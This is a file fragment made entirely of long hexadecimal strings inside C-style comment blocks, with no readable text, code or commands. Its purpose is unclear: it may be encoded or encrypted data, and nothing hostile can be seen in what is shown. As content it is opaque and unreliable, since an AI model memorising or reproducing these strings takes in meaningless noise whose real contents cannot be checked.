23f7a1316b31813868afb3eac0dedb21fbe621baf2445bebc2a4f7dec198d43ef102e2d499850363da1967a9a5732268d260ab97b65356b0bbbe7479f21eb3d7449d5dc6e09be31fa61231fbcd07c4b673c3087e712c2a9fde7d768aa1ce90ea1a5cf3f5a27ee0f28b8fa41e2a010d6238c84031a34165a35a7bc51815b52da5c71065863bcaf26a249f15c55c458601098a55db55dc054861f94ad6bfbb239a3c2612c402994c763f02d6a06cfa530860cd94ab8acc78323f7ff9ad1a5b95f21a0d9263f74095a89eeec19ffd54a83e73fa0fb6a38141fbe6de955b6aa2a179daaae40b3a9871d9736cecd1198f6ba096348364a2d327e802e2d19c453ea1a2ae122e23899f1a75c408e3ba489f27afae24275adf2541e666877a47a41e802c2dbfb6b0e0e0b1530cd57c09878b5116f24833c8e5e9e7fe7de3e6b42179238d8b18672f9e046be58a4cfe569004da282d705a464686ec6fe488d15fa8da489815627f111289f75025c8074a2bede11eb4c621f9aceb92ff6c8d7b13baaa6eb4ca5934bcceed2fb64a266fbb8434040da1aff7107ce0f7cea4beff3b49429fa7deebbc5bdbfc604f9336017ece0aa91cab834b357d2e9e195b10d1bced4a85844000d36b23cf291c8a271c7cfe4faec8b9da66616f83912b310a431cddca4fb45d567057646691dd0eefafad30437d52718cbd7f900a7d8ac422e77af6c898dc199fe3e00b2dd547278652be86b8f870bc790fa45f3a7e2e44c49686ba4c20357661f4ab330138202122504c9dd15b10af5fe8e8ab2cbf867c9e568482688e33f3573eea92c6b718f64693988b4671a0da7807a81cfdfec4b635ce4748607ccbd0b5e8165d3fdf554c70f2e026bc5d8a81cf802f5ded098b051b9765ee12fb1052857a76b75ab49c86a13f9d28e03090f55fbce910d633b4977d9ae65fbdfc3e1c49462b7cbb776b4fe94641f3ca1b62e668fdcfdac2571e4bbb5cd1142c256448e6c22b3d4da0c1b1ea5a402aa778ecf008c3e4926c15a9452a1541a1602242bd38c086cc8ec09ed23d84eb9a8f685b8e1224c42c031a4166c5dc321f514f0242f76bbe91691619440f841818c3953e01ce688ac4d1e01fa9f7f261949dc43593a105f212f6544caa1610b0d4df203fdd969b91147588790e5969c76d5c22c0a2b04826c9f01806e1f38f8fd0537224079a01010db2ecbfa3423f12e5ebd5e9a20b1a34c7c57569b4202a180ef3314009748074fe5058991067d7a3c367fbac5bb02e0b4bce5ec029433db0f051ed3c47a7f45c3e246c54ad8d5b01193be5c1850850b5fd13843ad4737dd912d8b1a6d2e3633e965fdba75deb0d50b42ad3131a806fd670da230b888c251f88e594a8af500a2fcdb93552b5a1fd6b34361841387233d58ce64c4ac87f5552e5a2d81b6f2f8603297493ba3f5fab08f761bb963296b49dfb4cfd47fde329e6ec395b616601420f9704b8cf940fc423f70a865d622fc81b4087ecd7647e53962692077c23c1e1b6669988aa5cec56d1d8946afb8921ee26d0eb6c311c8448e26cef4e3e471677e7e740a94d58e858f262083d0299fb008c7f696938ef613fec18da905ec5ab6f038e2286ba955e695229cbd9b3eee9fe827795e56c7d1e28abf85e543b97c13e5a2149264f92b1fc10f31a8c7201a85d9cb4a25c9721fa0f92789a36202e42fa0b5e2f8d11844c8365cdde14c468d32802790ec275e3ac5f4cb79a08d37942e92c3efc005f5d6c0387ebd22f9bfb0cf4cc738358eab1001047866a44d7d206f6057c22042a463c1f87ce3975ad8b9154ad8624d2ee9563403223a5e615e2a483f803a501dca487524394ed8915a1412204adead44c1f3f73ab0f1f9deffabb5994418c0ebc06f9e8e3699e454362235512b8d05f31cc39b7e503198d5569b4f2ffd9aacc9d505b1bad0c516066072dde743c9cc9d0bb79084c929936f496dfdac49f31aec61b86b1db62d0b7539cea0b8cb0ca73335808c5006685ed196ae7e5353132f3dcb9c526b8acafafdff2c83e95214cc02dfa8a93310ff8ac83cb5ac85006975a3387aca07d745e75368e514dd95e67e609062943e8ce962b196d906c221e7717b787b4bab045fd15309c7bb9813834dce57058d1a82e72cea2d2e9f806ead92f*/
/*415106b9c91579353ba1e9bc7291d65eaeffb7d198d9e186bed18f808d7ddf7eb245c92b766eb6620f9d0645a1b23ddaa2c1defcf3baf8d52791348eea496a9f6f4b374198f9ae83266a623e5dc3e8acad25ece922d3fe34fcf2b8a5ac34981c1419062898394b02e4ae5c2484752e85c830ba31eb8373991cd019493153ab27b29c0aacfa4963389f8a03b5a591035a367fc275222815b8734d5529695ecff380a85c86250c53f23d1c7fea6157b6ed21f261de81ab45fd1c06387cf51ab08f76e0fdc8d16fe086abb9b5a769370a23013633de1071841f35f34575492ffd94c22aca9078dad29d516005f64c2c3a86272e130a86d7bbd5aee1a20885e2320ea7231d2289e1850e8c398e927bbfa1e0468004b9debb0c9a1c45f95b2ccce447b9b9063c734a9e6fc7385570fd1a37dfb9c6ba102c670bc69d9e9574615e803245d78e98a7159a2456c335091f87de7aa5115f76959d9e7305a00ab93bcee82906eaa42a6c8429a04e1873061dc252c58bfb4ef49f4aeadd433e1a95a3d52ef01e865ddbf460f9a30f24625634a49b94420a0a44d6af9672a95bf01f15ff6ef89514c0ddb7c9bba2577a1d5d56ca655b37256fc52773574defc4a1eecd1a9d6ec715b33c70dadbdbe6e7c037b14adf6a301efde87fe8aabd04532250062190f2448087181e97c2b5ffa97a547d4f8145199948bf297d0f7848a8a5a8b6c07ed7a2a709077d27c50a629ec787f3b2924a8d86123dabb6c3dfefa336ae58015943c2e8ac0a86de90cf3afb720ddd924144d9e8277b71b6a2fd3667605a6a5f09876313b9f7c3a6187174cb16c67160cd5c793851744dfa627da1193a11458c617cd7d76261fc4bfe444827e971ed43b7f2b85d9089c0d6782b588f9e124818d7751da9d26702e27d6a631e120016c8c6fd0e4dc65bb4c0d9318ebd019d1f37bfc65560e8ef1c36d4fbca70ca2090051da3d1fc7c61b526e5fb4f022867dbb5fce5babd984f919a83844dc9fa9c095ad3fff15b7d49720e6dc7add9ced15f90d244ede4ea550c3648e2cbbf168f1941da98ab7c65139a12c12673014e3835119cc7845cec55afbaa876c2e03383c57128b701488f27a572cba4d73a1f4f761bee08957ce5ff9d6412a1db14f0c45781159d1bfa9b17ca44eaadf717bdfd17bdd231a189581f76d99498b739eb7832a181a9b5e68085acf9aa2b88164710de5ac56853f4906befebc567649860b8593ec9893571d7d2fb22982a92d9a854101ed27e2fdcae6652e7835a18302bdb074f99cb748a34254c21e1df850e35d4cdb9f5421bd0d93366eef4c69281bc64a5e506754d6d5b58394eb68b02b3c3ff657a1ab1f5e94b39ea5a639e6e87308bffd99d989f83356eef6e0eba35f19d548d3a171b5bef1be011733658b26e6d0cffb9e5fc342743c9483134a24874935bc17f4c2329c8ef4765189a70f1f0426011a9a5faacffd4a461a843aede3f8c114d43c91f28218742e5b8e0f5f3645f24572167ff718d411e53f7b8b157773b66a34f1b5242501f4b6f3967e3841ee1eef701fc5a1725d29328e241d849ec32c5b3d83af59bd40a014a5c78b64e39b5593ca157bcef6c896dc0d502d946be802cab139c847ffd43a52a2d768cf4c1c7caf6a88592d91a86c2d2a107cbe4f911a6157413a3703442562484ace14941b3633713a7fc9cbf7ef4963feab7c4e0abd0d08b8d89cdddb8a7df1f674f850c75ac8cc79297f8b0fb981f908e9f289b8ebf9bf10cdb4ad077cb89f84216cd228105dc9f6bd50a79983ec5170f62e260e36d6ff3b31ed96afdebf1bab44966d162f7c09944ee218bb32ed9fac24eef376d6a5e5d39ba8f3a60e4ba798e9495141fdbb45b042a86099abf6b91d6910b45b5e5bb6380d04dad7c1c87fdb022edb6d0404925cedf470e60e8045a89a8f132905d2fc68bca132efd204f03bb953a4d6e743629583a601821990e1d8cbbf6fc93baf7953a9c6737304af8f4c6c017aba44ecc84e761cd7f58bf58a48842c8cb053dda2565f4c486617e704a8acc35e029b9ebef7ec0c19ed5105c1e35cb96ea1a5230e6ac89e020a4a89d7b588cd2d86b313f32a09fd59fdca58d4a77dd58346144c384b0c676d8860ffd38988bdc19c7d5cd19fac2fe2a1d12bc9a3b9fa229d75e8f46bf6166e735e08005d1fb0c7cf64da3931a882e1920842e3ba14db445a1c1e98411075aafa535be2764d636770d1a1b8ba8422714b291fc8614d41e527a63c1da6815e20a8bd7713f2dd3da59912c02de12fac4f00ea8acbcb30100ef9994f00c4dda2f2ed6d0831b3e964370997640694ce47007aec67c6d031268ff4902f2f5e40568a05469f2d86d49e5ce23d103bf2659a3c2bc579ecd37e0fef7771533087a1d5287734a5aec5fcdf5b1ca75db74ce24e4b7dcd604ebf6d58a7853dd6796b0a388951eae012770b4d66fd02259c9bdae76e4fd63096f4bb884fe8274fd2e5f6ea42854e03dcbf7bbcf81ef8f1622f563cd3ce790ba09caae43cefd8c708c420ec9b62ed15a331d405af1698b4bdacdd4c5df60547e5ed808903d001f36f9dc8ccc2910bf9954f588562eccf75610c918921a4aa05be792843bd9305ea59c22ca9e0509c81c7c028b76607a16facbda6989e79090345583221532bae312a5a51d7afe3e632ba1dc1bed83606486fff36709454ab0ca0659b5a7e7a1ec3a8a4c5a667cd65b3ba21453855c7d4f97a225530879b21435df02703f5e83b55813cd69816a9670c8effa650b8e73e444d91f2756883aa7c9e22a31b6132edeb352f047632d44194bcf4af1ace2b15b46d0a6f4*/
/*d0a37995e1ec10d8e22ad718d3af9542746e737d8da1c198955e49b4e05abb2af9fd348c141193b2a115966bee82900d755abd2b6e31a6a9dbd293619ee01b7cc8334f7e0fd6d002851e996b9ade06f918802261a318faaa756ccc7baa5853af4349eefef29510e3774dd85469ec397c3de9aedfe833b4ac2ad592731f6006b712d92ef6950307ec4a407211b16a18eb1588f511c9cc214a39ded95b5c35dcd7c8bfcaa7f45b26021e7949b6cb44d3eb21de154349229063a5664665a02114f621d795e739f7b31aac71f419e021932644a0442356b372b832664cf62a240397236702c0ff15b20e756509d8e11610a0044995e9cdeac11b353a1f78570b6f384703cc152746fcfaca02cc39c2b4cd15d27970103d7b5c53b47106a2072a6a9db57969c5ba97160727bb3157140019bb7584a683a025d38c4a17a97247a8438e7537c6894b162612fb682c5e3855fbf9a54fe7af7417c44760f24ceb61cd3e2ae95a6ca83739784c39dffbe07c366087b58e5e1666614a21fed5201a28595ca6d564cdb366974983a432fc9f936aa2a4dd0df32d3eb35f68fd9d546de0be6235167854ec12c52068ca0a6405465f3042a069d85a9895936af226ed5e7ce2a9af4cf6bfde510cea595cf35fa5eacceea44762df5d7d715c5aa47cac491794e203b2d7b181adb221eaefbf812f5e60dc4195b68fd15d58764b90792a8eaa6ab967d3d4baacbc03300d9392a4b6cc7f034c2666ec0c9c24fb2cf99fdd59020bcc86aa5ac7fdf1705519346f8037bcbcf844267247626114ec86d37e6682250450b85364e5bb24e4231d7b1e54beb18418ce496d8bd8e855e98f87bcb06ee3002716273946c5b208936867ef5ec2626253ecc959ea8f10995ba6420a851d328fa0f4431c54bfebfefea4bd4efcbd16292849b3f2e6322ce3a9181da1084b6d8a638bde52f10d9266d89e130150e0a219c2bdec3241fae4d9120c65f04a559511a61f44391e2c73c595875de331e664b3ed2e418561d34596d4f046ad2193a64f2a86e87d7a8c1e17c480e1fd6fdb1f01007f730cd1507f3e1d0b5debace3bf526d010c7a8ed4f2fa0f88d79ea83a04a66bf0ef3d25741c30075c2040a25d0d6dae843e876f4ce194464d27ab68c83a068ab416d6046b4e88e266e2a65ca7117b676db7cac454cb3d1535fe7ed627cad87e2a40a4f1f5b39cc6cdda2480ac364b6697dd6be1d58fa6dbe3b3d45fd6ddc97cf7b4363f156754da82d532176f472ac50d62b9ac036c94249986f195ff918049ce554576ef83a3f2a04e2fad08f4954216b310d554d609c1e270a6f25c325ad77e755306a7ca621a58ff6358158bff81b88cc5f3057c2ce8cb40d00b0d84cdf0b92a53dbf826a1013144c1572a5bb1fba05c658d9a0b955f91be27b562f3a72a952c3dd934d37c3f8e4c5ab8cde469b4958b89864e35e8f243a3489466f6b97636dea8aae23903be5d1ea9868ed0a417349a165193b544138bde9030ec565891d8e41ed138ee6f9bec73e8cd0eae953309b264a6cc8e144db46c26d433251d44743f1496aa404e43f78a205534510c4150670fe459dc0facdf32065ab4879e00b7805bfe660d2a090aa8134dd137f68907ca8e6729320bd7a48b94ec4b44c7ea9f3583d6fc7f3573279cf314af903abecc8d112b2c55e0d0963b27a5296b55d1dbe8f312148e368270dd1d30d0be6122a97a317f33213fce92d42d9ecbd206a93cb13f1488e2b97b001978f0ff9625593b69173d9ddc2b40a02a02fd8dabb09367e022f38bbf4994efc4e5cf732db00621818c242d66fd36efaf9217715ccc3b6a93a1442f2a3ed05b7120d7cf84d18cddb1c492e7d0aef3cd16db9b76adfc3448355742deff4956a8d09f3b478c8f6e57660e5636c76d44efc98b4401b627337a511b5cce03432d625a8489bcc40dd6a4e4a10cb31a3c9afa914fa1b68099c3c5ba4a15804cdf108f41b9257a2541d5cabb59d1119c232106af661c6ad6f2ec72c39adb83feecf108f11cffd9698dc79254ae4596c046f38423c9698cc9efebfebc41c3144fb0dd0c30cf3daea4a21d47169ba4827cec69e2b51c2412403f1ca9286cb5ec4aa6746b6a08fe073739104a56be7cb2a872f944aa58b6277d68ae6cf142bb1405bcae8e86a1873ee735720f82851ee141c8e8952ff617525ad647def0802612b2b84373b52d80d56af9bded60e741f4fb85baaaae3a3b22f385f10a4087a3fe4ec857a9d4899e7d3020df026792a37268c10229a0c454b8285285c358ca508f43b52870e164202eb09397ca47bab05083e85cc5fe47f97c210963d5abcd3c5590a77508269409b456dd8d6d814674b11556048a999752ce5f204dc4e875e6ce7c2d6d7e5cb0258e8053569fd9217d9684e56b824dca27e797727af20b179a1ec37b5ed171fd6e5d6576f11d49669a427aaa4f53eb38d48842e9db466e6522c7d378987564811c5a2c96adc4730d00d78da171c5861bf212d575cf656de678f50c4dc5ea6c112fac984a25affac00acbe9bded9af585a41db1dac9c9d72137ad8d0c1f4444b7611b135b3f047cf526268362854b8c0dea0e337ca3a7ebb3072d5dd87147e331afe88c6d68f8ba218e56535c6fc9b812bfc558f6a51fa8af6aa9abcb0a26b07385bdaffe621303da0866c1be1c79df0eed0fbe0172856d2c9236c2ab112eb6b5ddedd198dc9ab67eaabf1430c9312df40a5a551835ddf081a2483ee42d061db76b2b7d4be63fc37bc4192c538fae0495830ce4a3b9d96737cffca19fb7621f89be81ce5bbd420396848d7143438bf078bdc59f45345b*/
/*f3b885a270a546f9cb386812253112816a697b516f3f953606e83628dfffb87cc1431df5d0634f3f734ef69157e07d1ab0cd96cc818a9b01f58323d5b6c2e40841efdd388b13db1474636f5312e8797505fd5234fb191523636a2c594da6148b8c4d1bf4aa9f5a5feb9d782066df8df827f6015f0d587fe8036167b97e41b2ad66bd2f534856af79fce1d9e48080da58e7be8754f55acecffc6baf4052bf4b2771f1cf62122cc904caf4470ab60b15300f50207d320b4a26fd6a89af7129aa9d00751d01d794a6d44f75e9aa307061980e89df0bb2144fbb6360c05a60b98522131060b327ee70c654ac4311d25cb904da5627aa3e04035ff72607447c555c40a3553ca178550698c0cd3a4c40afd1b44f49fe76380e395a247d1c8ac9775a331a5f18bd2e6195248cf8d1a2f48c2d109f0fc2151760c4c61aa3b6924d7f14c78d0eee0ad3f18225db5ab45a9a7d26035c2402a1e68302f2c535c15d6595b32d2b0ed969b0eeeb3342d41fcf8ceeca1542a93a5003a52d43ab2b50c71d8d34c0e3957fb71a52895ec18877ef8748cafd44e4bebb1fe311ef9ce0fe558b4ebed24c87d0f59aafaae53788c1e23615b4130c1434f9fe33eaef4d00eb36a32f98a127944c6a9c9dac80930da48e0bc34f0b1520b76acd23514d28edbeb53ee2df6f4120e363df6e78fcf8a234e3c400a484ed18f261cb762f2a50064cfd69e51b1eef4a2e4c8faa341e11d16d82e6c73a07b7e7a3031239c9c8b74dd226f709b050f3d89b2b800f657f07906b3d3da41ae198fa38db3a609aa61f350a209bba8c312e820b2323f475119cb3068eac08c5d678f56df1f35fdb287277e9375fb4c1ee95c42f8bf41a60b37b2293b822b480ce157ebe5029506d0e48077a8b03a30b3c3f9cf1d38f0a8e1dc6db689d38cb59fb7c8f687e1d4a015e0d2bcff2e161b106e1e7db6ff81b6d6a1dfe4837f0fac8476e45f3273f8f524a9cfb64d3cd22efeea8aaaa9b37e060e904b1aa5f80508c0cdbaf8559c2c94ca3de39be08fcfb4375847af9ad0565b58032e893608f21531ebd0daf595b8099ba88f04aa2030cf16f317792c080516fbc345f5abeb244d1acc41aa84d7c7e022d7e96b89f01522b0bff50d1e092c368dbd872d12ce8d3c8b2906e89c48cfec46be91412ef88e783b449692223106af183611325cbc55a374620ff829f562bf209411f3f87a31f84f56c3d31a83de77b67470623cc780db02e72a4d688b7fef053bdedd6a32293d9e25902df91a77cb556141fd1356513223e8598a2c0036da94dc42a0018d1e7c2cded6ae508d720511a77ded924c7c81d37e4afc0acd6eca98317afaf8fd01b18a084139f96c3808b0280bddffc2ccf59da6efa0d9105b628c5d74fa632971326efdbfca49d55a8dafded6ae791918d24796cc24b454b82752b64632083341be59762e3c318fb9cff79da76ce24bb4790e954eb84e9a69525540289b336c29a3965d989fb9a7ed01bde82a56614d5b72a2ff5b089b8c58622c4e5ed27562166f38cdc337300b5f8064a05a4ed811ab3ebc234b7265ea01c2d7a41ef26d016b316a50eabd4fcfc51bbae6efcadd8b7d409f11c3a7572664bfd00760357d1fd59f56691d418c0ce2623d23ecc532adf31d2e9dbcba6aea80b74960f73bace804538e7024e16bae2f7a8680f062f9ad64931e15f9a972e3d53ed8f990420e7efed66cfcc351afa49cd131b14c823772a9d910279542d531aeea58168423aa4433e10d91835103ce8c0e69c6938a026d08dcb869b395b1103d133736025ff3952a1fd3acb25c3af2a62fe404c15f93fc9434d818548b6cb16b0c515ff5463139e3133af5a7999bb82947cca2dbf6f56bae5df2493abe6a39b2da697318a9675ad9f198c3581b3f39d6674131de07ec2cfc07f5df1459bca34aff60e25f67f5e1ed2591d1e57c86f24bf7e4bf76cfcbda149915d63db9ef18c08d94a781c5f3d1ef7d10b084c8f5a0b227b11c93a1970472e027475c3b35f640fc79e552d57a8df8ba7469d5191faae882dceb605c8e2d613efd62cbc37ba486d33900126f960d734b2ca13440805ae93faa08541c736cd974aa9f6d45780d204b81b7dc5674d63c390ed7f0df5258eb1c3a4bcb9592a94d70e7a5f8445b0ef6070aa89d000ebd1b0c14cf18cd8ed8268744a60f5209d78ff5a7d5ffb542d23bcf394268bebc58487b1e682fa01266e5091d59e6dce44793a984d4e884dbf5f5300b9ef776251fba4d9cb261c288464082f0e87dad3613de63a6c13c83ded6be59f3e1ff0c5579a3297208765b65088f1d31f172c7cca587cd4253649babf32cce04b3b4f503e7386c059402e33269c2b8e84545e9731f8be626c0a44586529def391463d3d1f205ca4505ef14976e494098006ce2f46dca4f8c53abbb2d00f034168cd19f30d98ab5931b79c7af86ff98920bea52f4d897891b540310ba451d6b318a335829de3cb5713017b37a47f0529daadfa6c035734156bbc747434941902596612ae3ab8043aa82d405e99c298b2e4751e8d9c8675b0f2e3b56a60ebbf30db1a1cd6fe05ff93add9f570d63be05c2ba2e93ad7ee32cafd1723c453a2b335561ad1ae812e54012e50ed802013f51e58a91584a051ce909963cfe659daf127fde8a6a854ad9f6f4b95f37ed45dfb3546aadb1504e980c6cd048ccc8a7f70cfe13c730e58e1277e03863ba9cf68c6eb97abad6bb9090dbd732b70bf5df9a9716280b7440f47f3bfcf735035c0520389572e166f1a2ba0c6bad6ed68ebc59160f81ab7c725f5eb39355fc651cd83225874dcc2382a8b15d645*/
/*c6b32fa12023572c69a518c4fae299c4f98e085888006676f0f306d087ccd14367ab8e7f19e617fea1cb65a85252eb90001b0f22c3bef85b8984ecf20923ed6fe805edc33a1b59e4a4963eda78670e43dffa495f0ba9a6a76bff90d11643dc0463dbc87ca7b6c801b1ed6821d5e3e9f8d194ed9bdb03b86587bb350b7ba09995a393b9fe61c217b9996c30da462fedfa12e5cd28033a29c9ea892ace69a702eaf6302191e62ab770ffed991ba526b9e63337a737456660c4f1e788301b10f60759a194c79ffc826e2e808081b27467e645dcdbc19648010f74c8ae8ed4c20593b4b45b55e98649dd5c5d4f1eb60d62c3d7942268feafc9b49b1c3ac1e59dde3eeb3900f8e28fbb140d4eddfae664adf237dd049bec8f32fae996a6796b7f86f53c740f7a60fd693be2cd14de88b060c13806e6d2e61d7a9f19df5972e7f14f31747c9722e4b41fbf0841b88f63898652892d231346ac43a3ca576e6c42d1becccca5a3ef2c143834a0b830e17fb67d5afd57849bbccd2e5f1bbfb74c6af3116978b498570350ae8dec299e2b54b7e3e69997775cd36227400be3820eb17471d489f8e9f8dcb0857a21abe96243548663bff2d36be2cce528155c7686dfe15d55ced85b20ca8064922b35fff2a655b8026f39f3a52a82706ba80cda793dbb78870758e293ba138e8b3ccbce8b152489168d51c19f4136a5860c432404dee279315f8eb07510285490ff049f259ebe399ec5dc09749d9735c62e255bc27eb299636a7d0c9b4babe3c189c6fc7357ca23ecb56078ef80efed431df3ce2a312222d276ab44f41103e76acaf860ab337ba1ce55a3b8667d02f8cc0dbb9e1c595f58b3997ffde8cc6871be2c43f8a8773bb2413c4b5813381d0061602dcb7ac9e359e6af72ca9065ed8499058406e6fc807f67681d42d4858be46aae0862eb3fbeb08b5e58299000f7000ccc4f712969af28d5a94241fd9b8d389e903b1efd9dba8fb52c843e8c1e97fcc049c1c0fc4739dc5cbd0a5de122623f612b4de4db00cd8d4de6efb1999c3714c7dfe5dda0ec043a655fb7b030e1752a328e2fdd695a4e83e701c4a23bddb5d9cb86a00f5fd6e6c6eb67ac79a88f6e9eedd6f70bb9c4f664ee4f38441b04d7b3bcb5baecd06a5edf8b1e42327fc6c84074d86c6c178c693e82f246a66d5a1d4cecbf6e956aefdf392fa534b7fb656f2d64ffbd358468f98a44d0cead7040f36488671ee403acb3392b3d580902f70f014fa1e0dfd0b94d3e20aab0eed131f6693a088a432afe92abd68f4c27cddc819469bd557f1bd7babd0cfffa6a9241b1f5efb305f5a3ae62657cf4700e3b61c8375ace3571fe4e332a5597ed1b908cd7d0834e4701246e631d1e6c8fb8937e1b725ffeebe2b70ce95dd0f8f8031851901d9bd00764bf18e1798d220a949154dab037f9f71065b153ac5ca46250566f34ed9a3a84a6a653d3555bdfb9d26097b99b86ed99f7081a0384ec95cb0bedaaa5d8909d5708cb51d3f47ff18b796918e3043088808091ee2b1c7da8fdec798296f38a69bd6b3f5f86e5d7e3107dde2f45e1f70d5576bba304291b06f42e8137e2a6e6ec9e57fdeaf061948fbf09bae04aae0f75116ebc977811b68bda95c1697ba07dd091352047afc95b4bf80eb3986456e187216e0eb239dd91c89fb97d6f20382e210fcd8f81ae9adc362cb43ed495007efcdd66052f21234f038582dc5bd28e1493ba62121a806b533b4fa6b281b683103df19f103264e5c5db022697ac92707fd4d18ae3bf09c27f42933863f961154e6e27ce6ca40740f89c63c5e8e087c93f4375d852e933a4b3aeae445ff17d6a39a198eab1c6d06c629244bc501779d8de3712be99225402386dda58f7bf76f6ed66e1d9aec19bf13651adcb7423a72d9f8f8a45d30371bb08b6bb93319be4a933afb79cc2d0d9ff20bfd9f414d60966452bbb70b1ce56e4d5335b649537cf3792274ddc8d78a8d5e5a4e08f384b3bbf6ad6bb16014a21d0e9d9dfb181ac6128bfcbcaa413305b6b85e4cddaa198213c1a04bb95d09dfe72361c7109022994c449a2bdb56217eb8cb3a89b1d6b3996009ae5a663efb77ed37a30f7b185874a09ad544790d9dea146e399c45210c7219bfd98f94cb9ea4921afd37bfc3c93555667827291d2a24f0d2ba5d5691d6ab121f95d716a3f0c312ac71c9fa417cd1915cdbb520586a45681ea1879667b4cceda4f837995f9cea06a94e2ab85df2b24161bf95a1513a778d8e0313965f790b689072f5ead83924e30a53e7aefce3dbd1a7b1ea95ff6bc51537421d3a75ace6df574fe5cc98940a53b7ebdd49754228110c733f1f633cdeea22c00bdf095afb3366104cb72a242779af6a31bf966795fa90d961a180ab1bd02fc592a33c679a672fc9454f6a0306798a9634b337f804eb53e822cd309680b4bf21435d9ee8942b2763084c768ba630de47590cd23a2dbd8c7189efd2a7e7fe6246bb11b7528d800e607bca62ec0e3f078a5f3230f5b077b2725058089b7730ff21d8f91eeb54a4a717f5eae26d7401d430ef9931fe8c90c186e9836e2ca3badb5f1400d5df6f1a38e5a08d26379c640b116e796c505f4e5490b33f1fd9ce44667b0cf978ec04dac9dbc8a98bd74a4bc27df5c184b28cd59c5da361f52975b768c48ea1b85329ffebb146ab6c9fe5065a547eb31796616d900c9bf54f9135fce08dd0aa95108d1133b4116729b4271f8c0e1b64e36ed06c9669fd526a625edb46c8e64e3e727f4a0dc1eb99b95cd90ccf016acca9822b038faf55fbb17fa49ccb58e44986ef4c9ab907eecffe6551afeef*/
/*26fdabfbeaae577132b4afdca3b183a8f572c1c3c8ea9cc921083435b86f04917e4a88d24cee54e35d13e5b0e34ce28ff65873672a0ad7508cf5939280e27b695c852c3e443510642511555368128c3557d32e1300c4885654bd27351840c784c7115598651c7fa59b6858f0708170a96e4a6a7634f5988c489b18e2ee8037ab5faaec9ef3fd0f23e23fde678c50d0ef88fa42e71fbfaea5bd2cf0a84c45db397bf70b1fce60fb58aaffbaa9d717ec6120c67a21e6a74410847b2a8f09e408913c256a7305d4a8aec57335ddda20683042dc4ad77022b4be2214c3a04e58fee85eb1d1e9fb1e59fba2dfe34bc5db319e08f5ca3d8fdf02fa7dce1ca940250f206b7143d5dfe79bc1a0e172b16ee1877776ab92d7a1c3ff8b73f75c66aa9dac101b3b060f13ddfe0f2b1122ee58e74b0c7c9849ac8d91e3856d5594abd3d026148199d2474d53c5ea6d8f897e363ba9dd37b5e32a57f0e990b6e08bc8ee6663ed01a9bf56fba9f4fbe73160de78cf694a60f2c80229a453ff3a666d3525d7947cd765eb96eb003d486f46f69fba02d6df5b11d5e2a0dce32a893c3b9f16aa6e02c6c0cdd320093df7327eec641c66cfba02ab64741bddde2615055ee0e0ed63955e5b7af697edd309b348f49ee7c19ea084a15b9702907949d64e38d09c62fd18e571a9932ec7c96e3adfc60a586875312997a42da4abb6ca8e6a335fddc19396d2cb50a2671b532d0e5bb84309653166c2e6c020db090f8c5a69958df67f64852e88d44b98263ba679f5b487369e8dae05c64f25ee652fc9d0ff85705c736ffde385cdd07c17f0df1d2da553289138402c136a2d712090c304e9e6121690cde3fa62a3e8496e8c8793410ce26f264a7a04e881871f498459da0e09fb506f8753b3c52e92d7da5691a30a8d278c7f1c89b32cdb365d34b3f991b4f90b32265df1a84d84de0f4b187a16f70fb6bf9ba3b323a63a937e21006e216cf06b7bd453839a0e8fa3bdc4d7124ce80f960c9c23aace4c10bd4f35e203de125b0d48725b25dc90624f553f4345402c26b18ea997c212f2394fe68cab70e19dfcaca978f37e84fa11463e89d30a8dc8b5bc3186b13ea2ef144176e36e8fbeb896de87e0c21a897b6638174155a019ac5b3178e5e23396d476f2f9761efb429bec3b28a4add1e562a5d547a3bd100255d9cae4468a09c9494e31cd370fd25100cd09008b843ad1dafd77d850593a204c238a73b26c172d4e9c5dfa89427e7f22ad55a156eb9f87dea44f5c9c895fa85ae82f2de92468f57ec182a8e3b894e7799a66e8d40dbe62107400a6507b7f6028dcaf401644bc9a0aa2dcdfb8aa7622d57cf49d6177ba6bd545680d56d7432735ab5a0ac9f420bf68cdc9755df33f3cc205da9056099820ecc7594314d7b30aab5f2bee3df4128df694157854d80588b622d570ab2b225c78edc0a3ce458e3a187975e8230f13360c457ce490df73a5249ed28ee0d37f8cec4f882cf046eb7561ca644a6f4cf7b0d4990ea863acfbe6c190bc4cf67684e25322ed9c88b8b1c9851ea78158ff037480a4fe910304cbc4d9fac88cd227509e59e8bb9441fa24d3255aefc15d568d25b456803fcf4f654adf816f3422080e13dd04000bcc4204d3dd5c839617663c6e2da76922560ac87e50dd1b5dec7fd26607e75a6ba3af228e0e39ed055bf874a5bca2e2a0bac63a63d0dd349f2a44c01ccbe2cd2af7a05670310eb65974e2a5b45ec82df99042089e8737ef6b458b93943bfa30c3b7793e0361834b32f94e324b6a257a90e4bac58cf796ad42d668afc3aec32c40fa8a4a36027269f4ea8beaeeff0ad6235357228949da0731d92626208daf20240e92f697c6e02eded14e9ddffdd247bab6727b087cdde30006c16903f5ab4dde07808dff176cf28552688407433c025dc79c9dbcff7948be161aed7d7020b31c267b515569ee7e718b85a10f563f86e2531e8524a530ef666c6e231f0d96055247386e84a43a4c88ca26297f567786d0a47cd5569bda9af802652e83ac1b28b5092cfdd89633c9b532e36291757ec69e5efb6b9d92b8224022b18a5f97e554254c513d8d37bf14b84ffc3aff6019224e916576e16a460fab6553f82113059779382b37294975acea31939798c0ed4c23dac3cdb51e3ef2055287277bdf4e7b4c04eb1d576f16d4ff8cfad72ec6b20c2c383ca5294f93326d18efe6f3aef1849f25b19dddb416ed9a4f3c0a3f870b49207d7ac1fbe1d46956766bf8abbc0f07f95dbeadf6793651663a860f085d74159133c28e2676f7981bd78f5400a47e7165ce8dd8002326997f090ac0a19bc3d4f50244625fd7b23f256646bbd999d731cfc5b14e914790905dffb7eae02efe8e8ad923b6e671af724d3ae54bdcea401c2dfdb9a307f6ae10ae918bb14e7280cabc92993b14a2ef452e97502ecfd57178808b9b5a30898cbdcfac1739a48c9c9781b787a5b2b888cde514c089bb5f68b602696aef8378a1b9ff6193c11846a371847e64136145d962f8d6a47b1c5199cad7fa9218f02e42930b05815e03f888747939c5b54bf2d1da910e239f1ca7f8dac6bb2cbf8e35abe1d0d32236c5807d62280bda45ca3a3b3daae9b2dc51a5f608e9ee456587ebd978c3d5c6c6f092d46ce4fc335ab72184e0bd8e2789951ecd5e743c6cee42295b48a4582b80435b59bff2f790efe47d16c24c2ef9ea5c630dda9003171f543516a4360a8e99db75a79a3c2b86d7680a574c9e52b4e77ea56f44ea8843c1d22ff73e6ad3ea112dd977aaf1c72d3f4446359370c49a0f25f91a26c5ed2a86d4f5a6be0dc7c067*/
